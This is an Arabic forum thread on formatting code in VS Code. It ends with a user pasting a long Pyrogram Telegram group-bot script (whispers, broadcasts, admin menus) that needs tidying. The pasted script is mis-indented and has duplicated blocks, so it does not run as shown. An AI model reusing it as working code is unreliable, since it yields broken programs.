اذهب إلى المحتوى

السؤال

Recommended Posts

  • 0
نشر

مكنك استخدام ميزة "التنسيق التلقائي" أو ما يعرف بـ "Format Document"، هذه الميزة تساعدك في ترتيب الكود وجعل الوسوم في HTML أو الأكواد في لغات البرمجة الأخرى منظمة وسهلة القراءة، حيث يجب عليك تثبيت ملحق مناسب للغة البرمجة أو التنسيق الذي تستخدمه يمكنك تثبيت ملحق مثل "Prettier - Code formatter"، بعد تثبيته يمكنك تنسيق الكود عبر اختصار لوحة المفاتيح Shift + Alt + F، أو يمكنك أيضا الضغط بالزر الأيمن داخل الملف واختيار "Format Document" من القائمة.

  • 0
نشر

وعليكم السلام،
تستطيع عمل ذلك عند فتحك للملف قم بالضغط في لوحة المفاتيح على Shift + Alt + F، أو  في أى مكان في الملف قم بالضغط على زر الفأرة الأيمن ثم اختر Format Document، وستلاحظ أنه تم ترتيب الوسوم والسطور بشكل جيدScreenshot2024-08-06221608.thumb.png.abf5bfa5da1db8e3c46ee70a6d5ff181.png

وللوصول للبداية أو النهاية، قم بالضغط بزر الفأرة الأيسر على أي وسم  وستلاحظ أنه تم التحديد باللون الرمادي مع نفس التحديد فى شريط التمرير الجانبي كما يظهر بداخل الدائرةScreenshot2024-08-06221740.png.6bdb7eee784c93597c8b3cbb032107ae.png

ويمكنك أيضا تثبيت إضافة مثل Prettier - Code formatter فهى تساعد فى التنسيق أيضا عند كل عملية حفظ للملف وفى لغات أخرى غير html.

  • 0
نشر

بجانب تثبيت إضافة لتنسيق الكود، فإضافة Highlight Matching Tag ستسهل مهمة تحديد عنصر البداية والإغلاق بسهولة، وهي تدعم HTML و JSX وأيضًا XML, Vue, Angular, PHP.

zIA1XCzK_o.gif.aa9e211ba783393b24f805d1f27efc55.gif

أيضًا تحديد العنصر الأب في حال الوقوف على العناصر الأبناء:

image.png.a2c3a1770179ae879b91fae29db1afe1.png

  • 0
نشر

واؤز

تعرف ترتب الكواد

import random, re, time, json, html, httpx, requests 

import urllib.parse

import os

import uuid

import sys

import traceback

import psutil

import platform

import cpuinfo

import socket

import uuid

from threading import Thread

import lsb_release

from pyrogram import *

from pyrogram.enums import *

from pyrogram.types import *

from config import *

from helpers.Ranks import *

from io import StringIO

from pytio import Tio, TioRequest

from datetime import datetime

from helpers.utils import *

from meval import meval

from httpx import HTTPError

tio = Tio()

def get_size(bytes, suffix="B"):

    """

    Scale bytes to its proper format

    e.g:

        1253656 => '1.20MB'

        1253656678 => '1.17GB'

    """

    factor = 1024

    for unit in ["", "K", "M", "G", "T", "P"]:

        if bytes < factor:

            return f"{bytes:.2f}{unit}{suffix}"

        bytes /= factor

#همسه كتبه فينوم 

@Client.on_message(filters.reply & filters.regex("همسه") & filters.group, group=579)

async def reply_with_link(client, message):

    if await johned(client, message): return

 

    bot_username = client.me.username

    user_id = message.reply_to_message.from_user.id

    my_id = message.from_user.id

    chat_id = message.chat.id

 

    start_link = f"https://t.me/{bot_username}?start=hms{my_id}to{user_id}in{chat_id}"

    reply_markup = InlineKeyboardMarkup([

        [InlineKeyboardButton("- اضغط لإرسال الهمسه !", url=start_link)]

    ])

 

    await message.reply_text("╢ إضغط لإرسال همسه !", reply_markup=reply_markup)

 

@Client.on_message(filters.private & filters.command("start") & filters.regex("^/start hms"), group=1999)

async def on_send_hmsa(c: Client, m: Message):

    global waiting_for_hms, hms_ids

    try:

        info = m.text.split("hms")[1]

        from_id = int(info.split("to")[0])

        to_id = int(info.split("to")[1].split("in")[0])

        chat_id = int(info.split("in")[1])

    except:

        return await m.reply("رابط الهمسة غير صالح.")

 

    if m.from_user.id != from_id:

        return await m.reply("انت مش صاحب الهمسة.")

 

    user = await c.get_users(to_id)

    hmses[str(to_id)] = { "from": from_id, "bar": chat_id }

    hms_ids = m.text

    waiting_for_hms = True

 

    await m.reply(

        f"ارسل همستك الآن إلى [ {user.mention} ]",

        reply_markup=InlineKeyboardMarkup([

            [InlineKeyboardButton("إلغاء ", callback_data="hms_cancel")]

        ])

    )

 

@Client.on_message(filters.private & filters.text & ~filters.command("start"), group=576)

async def send_hms(client, message):

    global waiting_for_hms, hms_ids

    if not waiting_for_hms: return

 

    to_id = int(hms_ids.split("to")[1].split("in")[0])

    from_id = int(hms_ids.split("hms")[1].split("to")[0])

    chat_id = int(hms_ids.split("in")[1])

 

    from_url = f"tg://openmessage?user_id={from_id}"

    to_url = f"tg://openmessage?user_id={to_id}"

    to_user = await client.get_users(to_id)

 

    hmses[str(to_id)]["hms"] = message.text

 

    await message.reply_text("-> تم إرسال الهمسة بنجاح.")

 

    await client.send_message(

        chat_id=chat_id,

        text=f"""تم استلام همسة جديدة

لرؤية الهمسة اضغط الزر بالأسفل، فقط [{to_user.mention()}] يمكنه رؤيتها 🔐""",

        reply_markup=InlineKeyboardMarkup([

            [InlineKeyboardButton("- اضغط لرؤية الهمسة 🥺", callback_data="hms_answer")],

            [InlineKeyboardButton("مستلم الهمسة ♥", url=to_url)],

            [InlineKeyboardButton("مرسل الهمسة ♥", url=from_url)],

        ])

    )

 

    waiting_for_hms = False

 

@Client.on_callback_query(filters.regex("hms_answer"), group=5766565)

def display_hms(client, callback: CallbackQuery):

    who_id = callback.from_user.id

    chat_id = callback.message.chat.id

 

    if hmses.get(str(who_id)) and hmses[str(who_id)]["bar"] == chat_id:

        return callback.answer(hmses[str(who_id)]["hms"], show_alert=True)

    else:

        return callback.answer("دي مش ليك يا بابا.", show_alert=True)

 

@Client.on_callback_query(filters.regex("hms_cancel"), group=57967)

def cancel_hms(client, callback: CallbackQuery):

    global waiting_for_hms

    waiting_for_hms = False

    callback.message.edit("-> تم إلغاء الهمسة بنجاح.")

    

   

@Client.on_message(filters.private, group=-2016)

async def to_send(c: Client, m: Message):

   if m.text and re.match("^/start hmsa", m.text):

      return await on_send_hmsa(c, m)

   k = r.get(f'{Dev_Gv}:botkey')

   if r.get(f'{m.chat.id}:pvBroadcast:{m.from_user.id}{Dev_Gv}') and dev2_pls(m.from_user.id,m.chat.id):

      r.delete(f'{m.chat.id}:pvBroadcast:{m.from_user.id}{Dev_Gv}')

      if m.text and m.text == 'الغاء':

         return await m.reply(f"{k} ابشر الغيت كل شي")

      users = r.smembers(f'{Dev_Gv}:UsersList')

      count = 0

      failed = 0

      rep = await m.reply("جار الاذاعة..")

      for user in users:

         try:

            await m.copy(int(user))

            count+=1

         except errors.FloodWait as f:

            await asyncio.sleep(f.value)

         except:

            failed+=1

            pass

      return await rep.edit(f"{k} اذاعة ناجحة {count}")

   

   k = r.get(f'{Dev_Gv}:botkey')

   if r.get(f'{m.chat.id}:gpBroadcast:{m.from_user.id}{Dev_Gv}') and dev2_pls(m.from_user.id,m.chat.id):

      r.delete(f'{m.chat.id}:gpBroadcast:{m.from_user.id}{Dev_Gv}')

      if m.text and m.text == 'الغاء':

         return await m.reply(f"{k} ابشر الغيت كل شي")

      chats = r.smembers(f'enablelist:{Dev_Gv}')

      count = 0

      failed = 0

      rep = await m.reply("جار الاذاعة..")

      for chat in chats:

         try:

            await m.copy(int(chat))

            count+=1

         except errors.FloodWait as f:

            await asyncio.sleep(f.value)

         except:

            failed+=1

            pass

      return await rep.edit(f"{k} اذاعة ناجحة {count}")

      

   get = wsdb.get(f"hmsa-{m.from_user.id}")

   if get:

      wsdb.delete(f"hmsa-{m.from_user.id}")

      to = get["to"]

      chat = get["chat"]

      id = get["id"]

      data = {}

      if m.media:

         if m.photo:

            file_id = m.photo.file_id

         elif m.video:

            file_id = m.video.file_id

         elif m.animation:

            file_id = m.animation.file_id

         elif m.audio:

            file_id = m.audio.file_id

         elif m.voice:

            file_id = m.voice.file_id

         elif m.sticker:

            file_id = m.sticker.file_id

         elif m.document:

            file_id = m.document.file_id

         caption = m.caption

         data ["caption"]=caption

         data["file"]=file_id

      elif m.text:

         data["text"]=m.text.html

      

      import uuid

      id = str(uuid.uuid4())[:6]

      data["to"]=to

      data["from"]=m.from_user.id

      wsdb.set(f"hms-{id}", data)

      url = f"https://t.me/{c.me.username}?start=openhms{id}"

      getUser = await c.get_users(to)

      await m.reply(f"تم ارسال همستك بنجاح الى {getUser.mention}")

      await c.send_message(

            chat_id=chat,

            text=f"༄ همسة سرية من < {m.from_user.mention} >\n༄ موجة الى < {getUser.mention} >",

            reply_markup=InlineKeyboardMarkup(

                  [

                     [

                     InlineKeyboardButton(

                           text="لعرض الهمسة",

                           url=url

                        )

                     ]

                  ]

               )

         )

      return await c.delete_messages(chat, get["id"])

      

@Client.on_message(filters.text & filters.private, group=1)

def delRanksHandler(c,m):

    k = r.get(f'{Dev_Gv}:botkey')

    Thread(target=private_func,args=(c,m,k)).start()

    

def private_func(c,m,k):

  if r.get(f'{m.from_user.id}:sarhni'): return 

text = m.text

#r.set(f'DevGroup:{Dev_Gv}'

name = r.get(f'{Dev_Gv}:BotName') if r.get(f'{Dev_Gv}:BotName') else 'اوليفيا '

channel= r.get(f'{Dev_Gv}:BotChannel') if r.get(f'{Dev_Gv}:BotChannel') else 'oo0doo'

if r.get(f'{m.from_user.id}:sarhni'):

    return

 

text = m.text

# r.set(f'DevGroup:{Dev_Gv}')

name = r.get(f'{Dev_Gv}:BotName') if r.get(f'{Dev_Gv}:BotName') else 'اوليفيا '

channel = r.get(f'{Dev_Gv}:BotChannel') if r.get(f'{Dev_Gv}:BotChannel') else 'oo0doo'

if text == '/start' and not dev_pls(m.from_user.id, m.chat.id):

    c.send_photo(

        chat_id=m.chat.id,

        photo='https://www2.0zz0.com/2025/05/05/21/981543831.jpg',

        caption=f'''

• أهلاً بك عزيزي انا بوت اسمي {name} 🧚

• اختصاص البوت حماية المجموعات

• اضف البوت الى مجموعتك

• ارفعه ادمن مشرف

• ارفعه مشرف وارسل تفعيل ليتم تفعيل المجموعة♡

        ''',

        reply_markup=InlineKeyboardMarkup([

            [

                InlineKeyboardButton('Dev¹🎖', url='https://t.me/VENOM_800'),

                InlineKeyboardButton('Dev²🎖', url='https://t.me/G_a_c1')

            ],

            [

                InlineKeyboardButton(f'تحديثات {name} 🍻', url=f'https://t.me/{channel}')

            ],

            [

                InlineKeyboardButton(

                    'ضيفني لـ مجموعتك 🧚‍♀️',

                    url=f'https://t.me/{botUsername}?startgroup=Commands&admin=ban_users+restrict_members+delete_messages+add_admins+change_info+invite_users+pin_messages+manage_call+manage_chat+manage_video_chats+promote_members'

                )

            ]

        ])

    )

 

    if not r.sismember(f'{Dev_Gv}:UsersList', m.from_user.id):

        r.sadd(f'{Dev_Gv}:UsersList', m.from_user.id)

        if m.from_user.username:

            username = f'@{m.from_user.username}'

        else:

            username = 'معندوش يوزر'

        text = '''

༄ حد جديد اشترك في البوت

༄ اسمه : {}

༄ ايديه : `{}`

༄ اليوزر : {}

 

༄ عدد المستخدمين بقا {}

'''.format(m.from_user.mention,m.from_user.id,username,len(r.smembers(f'{Dev_Gv}:UsersList')))

       reply_markup = InlineKeyboardMarkup ([[InlineKeyboardButton (m.from_user.first_name, user_id=m.from_user.id)]])

       if r.get(f'DevGroup:{Dev_Gv}'):

          c.send_message(

          int(r.get(f'DevGroup:{Dev_Gv}')),

          text, reply_markup=reply_markup)

       else:

          for dev in get_devs_br():

            try:

              c.send_message(int(dev), text, disable_web_page_preview=True)

            except:

              pass

  

  if text == '/start Commands':

        return m.reply(

      text=f'{k} مرحبا بيك باوامر البوت\n\nتحديثات @{channel}',

        reply_markup=InlineKeyboardMarkup(

            [

                [

                    InlineKeyboardButton("❶", callback_data=f"commands1:{m.from_user.id}"),

                    InlineKeyboardButton("❷", callback_data=f"commands2:{m.from_user.id}"),

                    InlineKeyboardButton("❸", callback_data=f"commands3:{m.from_user.id}")

                ],

                [

                    InlineKeyboardButton("اوامر الالعاب", callback_data=f"commands4:{m.from_user.id}"),

                    InlineKeyboardButton("اوامر التسليه", callback_data=f"commands5:{m.from_user.id}")

                ],

                [

                    InlineKeyboardButton("اوامر Dev", callback_data=f"commands6:{m.from_user.id}")

                ],

                [

                    InlineKeyboardButton("القفل والفتح", callback_data=f"commands7:{m.from_user.id}"),

                    InlineKeyboardButton("التفعيل والتعطيل", callback_data=f"commands8:{m.from_user.id}")

                ],

                [

                    InlineKeyboardButton("إخفاء القائمة", callback_data=f"delete_menu:{m.from_user.id}")

                ]

            ]

        )

    )

  

  if text == '/start rules':

     m.reply(text='''

• القوانين

 

- ممنوع استخدام الثغرات

- ممنوع وضع اسماء مُخالفة

- ١٠ حروف مسموحه في اسمك اذا كنت بالتوب الباقي ماراح يطلع

- في حال انك بالتوب واسمك مزخرف راح يصفيه البوت تلقائي''',reply_markup=InlineKeyboardMarkup ([[InlineKeyboardButton (f"تحديثات {name} 🍻", url=f't.me/{channel}')]]))

  

  if text == 'قسم الاذاعة' and (m.from_user.id == 7304955944 or m.from_user.id == 7555316039):

    reply_markup = ReplyKeyboardMarkup(

        [

            [('اذاعة عام للكل'), ('اذاعة خاص بتثبيت')],

            [('اذاعة جروبات بتثبيت'), ('اذاعة خاص')],

            [('اذاعة جروبات'), ('اذاعة جروبات بتوجيه')],

            [('اذاعة خاص بتوجيه'), ('اذاعة الكل بتوجيه')],

            [('رجوع'), ('الغاء')]

        ],

        resize_keyboard=True

    )

    return m.reply("مرحبا بك عزيزي المطور في قسم الاذاعة", reply_markup=reply_markup)

 

elif text == 'قسم الاحصائيات' and (m.from_user.id == 7304955944 or m.from_user.id == 7555316039):

    reply_markup = ReplyKeyboardMarkup(

        [

            [('الاحصائيات'), ('الجروبات'), ('المشاركين')],

            [('رجوع'), ('الغاء')]

        ],

        resize_keyboard=True

    )

    return m.reply("مرحبا بك عزيزي في قسم الاحصائيات", reply_markup=reply_markup)

 

elif text == 'قسم المطورين' and (m.from_user.id == 7304955944 or m.from_user.id == 7555316039):

    reply_markup = ReplyKeyboardMarkup(

        [

            [('تعطيل البوت مجاني'), ('تفعيل البوت مجاني')],

            [('وضع مجموعه مدفوعه'), ('مسح مجموعه مدفوعه')],

            [('المجموعات المدفوعه')],

            [('رجوع'), ('الغاء')]

        ],

        resize_keyboard=True

    )

    return m.reply("مرحبا بك عزيزي في قسم المطورين", reply_markup=reply_markup)

 

elif text == 'قسم البوت' and (m.from_user.id == 7304955944 or m.from_user.id == 7555316039):

    reply_markup = ReplyKeyboardMarkup(

        [

            [('تعيين اسم البوت'), ('مسح اسم البوت')],

            [('رجوع'), ('الغاء')]

        ],

        resize_keyboard=True

    )

    return m.reply("مرحبا بك عزيزي في قسم البوت", reply_markup=reply_markup)

 

elif text == 'قسم عام' and (m.from_user.id == 7304955944 or m.from_user.id == 7555316039):

    reply_markup = ReplyKeyboardMarkup(

        [

            [('المكتومين عام'), ('حظر مجموعة عام')],

            [('رجوع'), ('الغاء')]

        ],

        resize_keyboard=True

    )

    return m.reply("مرحبا بك عزيزي في قسم عام", reply_markup=reply_markup)

 

elif text == 'قسم السيرفر' and (m.from_user.id == 7304955944 or m.from_user.id == 7555316039):

    reply_markup = ReplyKeyboardMarkup(

        [

            [('الملفات'), ('السيرفر')],

            [('رجوع'), ('الغاء')]

        ],

        resize_keyboard=True

    )

    return m.reply("مرحبا بك عزيزي في قسم السيرفر", reply_markup=reply_markup)

 

elif text == 'رجوع' and (m.from_user.id == 7304955944 or m.from_user.id == 7555316039):

    # ترجع المستخدم للوحة التحكم الأساسية

    reply_markup = ReplyKeyboardMarkup(

      [ 

        [('الاحصائيات')],

        [('تغيير المطور الاساسي')],

        [("جلب نسخة القروبات"),("جلب نسخة المستخدمين")],

        [('تفعيل البوت الخدمي'),('تعطيل البوت الخدمي')],

        [('تفعيل التحميل واليوتيوب'),('تعطيل التحميل واليوتيوب')],

        [('الردود العامه'),('الاوامر العامه')],

        [('المحظورين عام'),('المجموعات المحظورة')],

        [('اذاعة بالخاص'),('بالمجموعات اذاعة')],

        [("المكتومين عام"),("المحظورين من الالعاب")],

        [('اذاعة بالخاص'),('اذاعة بالخاص تثبيت')],

        [('اذاعة بالقروبات'),('اذاعه بالمجموعات بالتثبيت')],

        [('رمز السورس'),('قناة السورس'),('اسم البوت')],

        [('مسح اسم البوت'),('تعيين اسم البوت')],

        [('مسح رمز السورس'),('وضع رمز السورس')],

        [('مسح قناة السورس'),('وضع قناة السورس')],

        [("السيرفر"),("الملفات")],

        [('مجموعة المطور')],

        [('وضع مجموعة المطور'),('مسح مجموعة المطور')],

        [('الغاء')]

      ],

      resize_keyboard=True,

      placeholder='@VENOM_800-@G_a_c1 🧚‍♀️'

    )

    rank = 'تاج راسي ༄' # لأنك مطور أساسي

    return m.reply(quote=True, text=f'{k} هلا بك {rank}\n{k} قدامك لوحة التحكم ', reply_markup=reply_markup)

     

   if text == '/start':

     if m.from_user.id == 7304955944 or m.from_user.id == 7555316039:

#عدم ظهو كيبورد العضو لي المطور 

         return m.reply(quote=True, text=f"{k}مرحبا بك عزيزي المطور 🔎")

     

     reply_markup = ReplyKeyboardMarkup(

      [ 

        [('الاحصائيات')],

        [('تغيير المطور الاساسي')],

        [("جلب نسخة القروبات"),("جلب نسخة المستخدمين")],

        [('تفعيل البوت الخدمي'),('تعطيل البوت الخدمي')],

        [('تفعيل التحميل واليوتيوب'),('تعطيل التحميل واليوتيوب')],

        [('الردود العامه'),('الاوامر العامه')],

        [('المحظورين عام'),('المجموعات المحظورة')],

        [('اذاعة بالخاص'),('بالمجموعات اذاعة')],

        [("المكتومين عام"),("المحظورين من الالعاب")],

        [('اذاعة بالخاص'),('اذاعة بالخاص تثبيت')],

        [('اذاعة بالقروبات'),('اذاعه بالمجموعات بالتثبيت')],

        [('رمز السورس'),('قناة السورس'),('اسم البوت')],

        [('مسح اسم البوت'),('تعيين اسم البوت')],

        [('مسح رمز السورس'),('وضع رمز السورس')],

        [('مسح قناة السورس'),('وضع قناة السورس')],

        [("السيرفر"),("الملفات")],

        [('مجموعة المطور')],

        [('وضع مجموعة المطور'),('مسح مجموعة المطور')],

        [('الغاء')]

      ],

      resize_keyboard=True,

      placeholder='@VENOM_800-@G_a_c1 🧚‍♀️'

     )

     rank = get_rank(m.from_user.id, m.from_user.id)

     return m.reply(

         quote=True,

         text=f'• اختر ما تريده من القائمة العضو\n\n{k}مرحبا بك {rank}\n{k} قدامك كيبورد التحكم اوليفيا 🪄',

         reply_markup=reply_markup

     )

@Client.on_message(filters.text, group=30)

def sudosCommandsHandler(c,m):

    k = r.get(f'{Dev_Gv}:botkey')

    channel = r.get(f'{Dev_Gv}:BotChannel') if r.get(f'{Dev_Gv}:BotChannel') else 'oo0doo'

    Thread(target=SudosCommandsFunc,args=(c,m,k,r,channel)).start()

 

def SudosCommandsFunc(c,m,k,r,channel):

   if not m.from_user: return

   if not m.chat.type == ChatType.PRIVATE:

      if not r.get(f'{m.chat.id}:enable:{Dev_Gv}'):

        return

   else:

     if r.get(f'{m.from_user.id}:sarhni'): return 

   if r.get(f'{m.from_user.id}:mute:{m.chat.id}{Dev_Gv}'): return 

   if r.get(f'{m.chat.id}:mute:{Dev_Gv}') and not admin_pls(m.from_user.id,m.chat.id): return

   if r.get(f'{m.from_user.id}:mute:{Dev_Gv}'): return 

   

   if r.get(f'{m.chat.id}addCustomG:{m.from_user.id}{Dev_Gv}'): return

   if r.get(f'{m.chat.id}:addCustom:{m.from_user.id}{Dev_Gv}'): return 

   if r.get(f'{m.chat.id}:delCustom:{m.from_user.id}{Dev_Gv}') or r.get(f'{m.chat.id}:delCustomG:{m.from_user.id}{Dev_Gv}'): return 

   text = m.text

   name = r.get(f'{Dev_Gv}:BotName') if r.get(f'{Dev_Gv}:BotName') else 'اوليفيا '

   if text.startswith(f'{name} '):

      text = text.replace(f'{name} ','')

   if r.get(f'{m.chat.id}:Custom:{m.chat.id}{Dev_Gv}&text={text}'):

       text = r.get(f'{m.chat.id}:Custom:{m.chat.id}{Dev_Gv}&text={text}')

   if r.get(f'Custom:{Dev_Gv}&text={text}'):

       text = r.get(f'Custom:{Dev_Gv}&text={text}')

   

   if (r.get(f'{m.chat.id}:setBotName:{m.from_user.id}{Dev_Gv}') or r.get(f'{m.chat.id}:setBotChannel:{m.from_user.id}{Dev_Gv}') or r.get(f'{m.chat.id}:setBotKey:{m.from_user.id}{Dev_Gv}') or r.get(f'{m.chat.id}:setDevGroup:{m.from_user.id}{Dev_Gv}') or r.get(f'{m.chat.id}:setBotowmer:{m.from_user.id}{Dev_Gv}')) and text == 'الغاء':

       m.reply(quote=True,text=f'{k} من عيوني لغيت كل شي')

       r.delete(f'{m.chat.id}:setBotName:{m.from_user.id}{Dev_Gv}')

       r.delete(f'{m.chat.id}:setBotChannel:{m.from_user.id}{Dev_Gv}')

       r.delete(f'{m.chat.id}:setBotKey:{m.from_user.id}{Dev_Gv}')

       r.delete(f'{m.chat.id}:setDevGroup:{m.from_user.id}{Dev_Gv}')

       return r.delete(f'{m.chat.id}:setBotowmer:{m.from_user.id}{Dev_Gv}')

 

   if r.get(f'{m.chat.id}:setBotName:{m.from_user.id}{Dev_Gv}') and dev2_pls(m.from_user.id,m.chat.id):

      r.delete(f'{m.chat.id}:setBotName:{m.from_user.id}{Dev_Gv}')

      r.set(f'{Dev_Gv}:BotName',m.text)

      return m.reply(quote=True,text=f'{k} ابشر عيني المطور غيرت اسمي لـ {m.text}')

   

   if r.get(f'{m.chat.id}:setBotChannel:{m.from_user.id}{Dev_Gv}') and dev2_pls(m.from_user.id,m.chat.id):

      r.delete(f'{m.chat.id}:setBotChannel:{m.from_user.id}{Dev_Gv}')

      r.set(f'{Dev_Gv}:BotChannel',m.text.replace('@',''))

      return m.reply(quote=True,text=f'{k} ابشر عيني غيرت قناة السورس لـ {m.text}')

   

   if r.get(f'{m.chat.id}:setBotKey:{m.from_user.id}{Dev_Gv}') and dev2_pls(m.from_user.id,m.chat.id):

      r.delete(f'{m.chat.id}:setBotKey:{m.from_user.id}{Dev_Gv}')

      r.set(f'{Dev_Gv}:botkey',m.text)

      return m.reply(quote=True,text=f'{k} ابشر عيني غيرت رمز السورس لـ {m.text}')

      

   if r.get(f'{m.chat.id}:setDevGroup:{m.from_user.id}{Dev_Gv}') and devp_pls(m.from_user.id,m.chat.id):

      r.delete(f'{m.chat.id}:setDevGroup:{m.from_user.id}{Dev_Gv}')

      try:

        id = int(m.text)

      except:

        return m.reply(quote=True,text=f'{k} الايدي غلط!')

      r.set(f'DevGroup:{Dev_Gv}', int(m.text))

      return m.reply(quote=True,text=f'{k} ابشر عيني قروب المطور لـ {m.text}')

   

   if r.get(f'{m.chat.id}:setBotowmer:{m.from_user.id}{Dev_Gv}') and devp_pls(m.from_user.id,m.chat.id):

      r.delete(f'{m.chat.id}:setBotowmer:{m.from_user.id}{Dev_Gv}')

      try:

        get = c.get_chat(m.text.replace('@',''))

      except:

        return m.reply(quote=True,text=f'{k} اليوزر غلط!')

      r.set(f'{Dev_Gv}botowner', get.id)

      m.reply(quote=True,text=f'{k} ابشر نقلت ملكية البوت لـ {m.text}')

      with open ('information.py','w+') as www:

         text = 'token = "{}"\nowner_id = {}'

         www.write(text.format(c.bot_token, get.id))

         

   

   if text == 'الاحصائيات':

    if not dev2_pls(m.from_user.id, m.chat.id):

        return

    

    users = r.scard(f'{Dev_Gv}:UsersList')

    chats = r.scard(f'enablelist:{Dev_Gv}')

    

    users_list = r.smembers(f'{Dev_Gv}:UsersList')

    chats_list = r.smembers(f'enablelist:{Dev_Gv}')

    

    users_links = ""

    for u in users_list:

        try:

            users_links += f"https://t.me/{c.get_users(int(u)).username}\n"

        except:

            pass

 

    groups_links = ""

    for g in chats_list:

        try:

            chat = c.get_chat(int(g))

            if chat.username:

                groups_links += f"https://t.me/{chat.username}\n"

            else:

                groups_links += f"Group ID: {g} (No username)\n"

        except:

            pass

 

    Text = f"""**

 

• احصائيات البوت الان

 

• عدد المشتركين : {users} • عدد الجروبات : {chats}

 

• روابط المستخدمين : {users_links if users_links else 'لا يوجد روابط حالياً'}

 

• روابط الجروبات : {groups_links if groups_links else 'لا يوجد روابط حالياً'} **"""

    

    return m.reply(Text, quote=True)

   

   if text == 'تفعيل البوت الخدمي':

      if not dev2_pls(m.from_user.id,m.chat.id):

         return 

      if not r.get(f'DisableBot:{Dev_Gv}'):

         return m.reply(quote=True,text=f'{k} البوت الخدمي مفعل من قبل')

      else:

         r.delete(f'DisableBot:{Dev_Gv}')

         return m.reply(quote=True,text=f'{k} ابشر فعلت البوت الخدمي')

   

   if text == 'تعطيل البوت الخدمي':

      if not dev2_pls(m.from_user.id,m.chat.id):

         return 

      if r.get(f'DisableBot:{Dev_Gv}'):

         return m.reply(quote=True,text=f'{k} البوت الخدمي معطل من قبل')

      else:

         r.set(f'DisableBot:{Dev_Gv}',1)

         return m.reply(quote=True,text=f'{k} ابشر عطلت البوت الخدمي')

   

   if text == 'تفعيل التحميل واليوتيوب':

      if not dev2_pls(m.from_user.id,m.chat.id):

         return 

      if not r.get(f':disableYT:{Dev_Gv}'):

         return m.reply(quote=True,text=f'{k} التحميل مفعل من قبل')

      else:

         r.delete(f':disableYT:{Dev_Gv}')

         return m.reply(quote=True,text=f'{k} ابشر فعلت التحميل')

   

   if text == 'تعطيل التحميل واليوتيوب':

      if not dev2_pls(m.from_user.id,m.chat.id):

         return 

      if r.get(f':disableYT:{Dev_Gv}'):

         return m.reply(quote=True,text=f'{k} التحميل معطل من قبل')

      else:

         r.set(f':disableYT:{Dev_Gv}',1)

         return m.reply(quote=True,text=f'{k} ابشر عطلت التحميل')

   

   if text == 'الردود العامه' and m.chat.type == ChatType.PRIVATE:

     if not dev2_pls(m.from_user.id, m.chat.id):

        return

     else:

      if not r.smembers(f'FiltersList:{Dev_Gv}'):

       return m.reply(quote=True,text=f'{k} مافيه ردود عامه مضافه')

      else:

       text = 'ردود البوت:\n'

       count = 1

       for reply in r.smembers(f'FiltersList:{Dev_Gv}'):

          rep = reply

          type = r.get(f'{rep}:filtertype:{Dev_Gv}')

          text += f'\n{count} - ( {rep} ) ࿓ ( {type} )'

          count += 1

       text += '\n༄'

       return m.reply(quote=True,text=text, disable_web_page_preview=True)

   

   if text == 'المستخدمين المحظورين' or text == 'المحظورين عام':

     if not dev_pls(m.from_user.id, m.chat.id):

        return m.reply(quote=True,text=f'{k} هذا الأمر يخص ( المطور وفوق ) بس')

     else:

        if not r.smembers(f'listGBAN:{Dev_Gv}'):

           return m.reply(quote=True,text=f'{k} مافيه حمير محظورين')

        else:

           text = 'الحمير المحظورين عام:\n'

           count = 1

           for user in r.smembers(f'listGBAN:{Dev_Gv}'):

               try:

                  get = c.get_users(int(user))

                  mention = '@'+get.username if get.username else get.mention

                  id = get.id

               except:

                  mention = f'[{int(user)}](tg://user?id={int(user)})'

                  id = int(user)

               text += f'{count}) {mention} ~ ( `{id}` )\n'

               count += 1

           return m.reply(quote=True,text=text)

   

   if text == 'المحظورين من الالعاب':

     if not dev_pls(m.from_user.id, m.chat.id):

        return m.reply(quote=True,text=f'{k} هذا الأمر يخص ( المطور وفوق ) بس')

     else:

        if not r.smembers(f'listGBANGAMES:{Dev_Gv}'):

           return m.reply(quote=True,text=f'{k} مافيه حمير محظورين من الالعاب')

        else:

           text = 'الحمير المحظورين عام من الالعاب:\n'

           count = 1

           for user in r.smembers(f'listGBANGAMES:{Dev_Gv}'):

               try:

                  get = c.get_users(int(user))

                  mention = '@'+get.username if get.username else get.mention

                  id = get.id

               except:

                  mention = f'[{int(user)}](tg://user?id={int(user)})'

                  id = int(user)

               text += f'{count}) {mention} ~ ( `{id}` )\n'

               count += 1

           return m.reply(quote=True,text=text)

   

   if text == 'المجموعات المحظورة':

     if not dev2_pls(m.from_user.id, m.chat.id):

        return

     else:

        if not r.smembers(f':BannedChats:{Dev_Gv}'):

           return m.reply(quote=True,text=f'{k} مافي قروب محظور عام')

        else:

           text = 'المجموعات المحظورة عام:\n'

           count = 1

           for user in r.smembers(f':BannedChats:{Dev_Gv}'):

               text += f'{count}) {user}\n'

               count += 1

           return m.reply(quote=True,text=text)

   

   if text == 'رمز السورس':

     if not dev2_pls(m.from_user.id, m.chat.id):

        return

     return m.reply(quote=True,text=f'`{k}`')

   

   if text == 'قناة السورس':

     if not dev2_pls(m.from_user.id, m.chat.id):

        return

     if not r.get(f'{Dev_Gv}:BotChannel'):

       return m.reply(quote=True,text=f'{k} قناة السورس مو معينة')

     else:

       cha = r.get(f'{Dev_Gv}:BotChannel')

       return m.reply(quote=True,text=f'@{cha}')

   

   if text == 'اسم البوت':

     if not dev2_pls(m.from_user.id, m.chat.id):

        return

     if not r.get(f'{Dev_Gv}:BotName'):

       return m.reply(quote=True,text=f'{k} مافي اسم للبوت')

     else:

       name = r.get(f'{Dev_Gv}:BotName')

       return m.reply(quote=True,text=name)

   if text == 'مجموعة المطور' and m.chat.type == ChatType.PRIVATE:

    if not dev_pls(m.from_user.id, m.chat.id):

        return

    else:

        group_id = r.get(f'DevGroup:{Dev_Gv}')

        if not group_id or not group_id.isdigit():

            return m.reply(quote=True, text=f'{k} مجموعة المطور مو معينة أو الـ ID غير صالح.')

        id = int(group_id)

        try:

            link = c.get_chat(id).invite_link

            return m.reply(quote=True, text=link, protect_content=True)

        except pyrogram.errors.exceptions.bad_request_400.PeerIdInvalid:

            return m.reply(quote=True, text=f'{k} مجموعة المطور غير صالحة أو تم حذفها.')

 

   

   if text == 'تعيين اسم البوت':

     if not dev2_pls(m.from_user.id,m.chat.id):

        return

     r.set(f'{m.chat.id}:setBotName:{m.from_user.id}{Dev_Gv}',1,ex=600)

     return m.reply(quote=True,text=f'{k} هلا مطوري ارسل اسمي الجديد الحين')

   

   if text == 'مسح اسم البوت':

     if not dev2_pls(m.from_user.id,m.chat.id):

        return

     r.delete(f'{Dev_Gv}:BotName')

     return m.reply(quote=True,text=f'{k} ابشر مسحت اسم البوت')

   

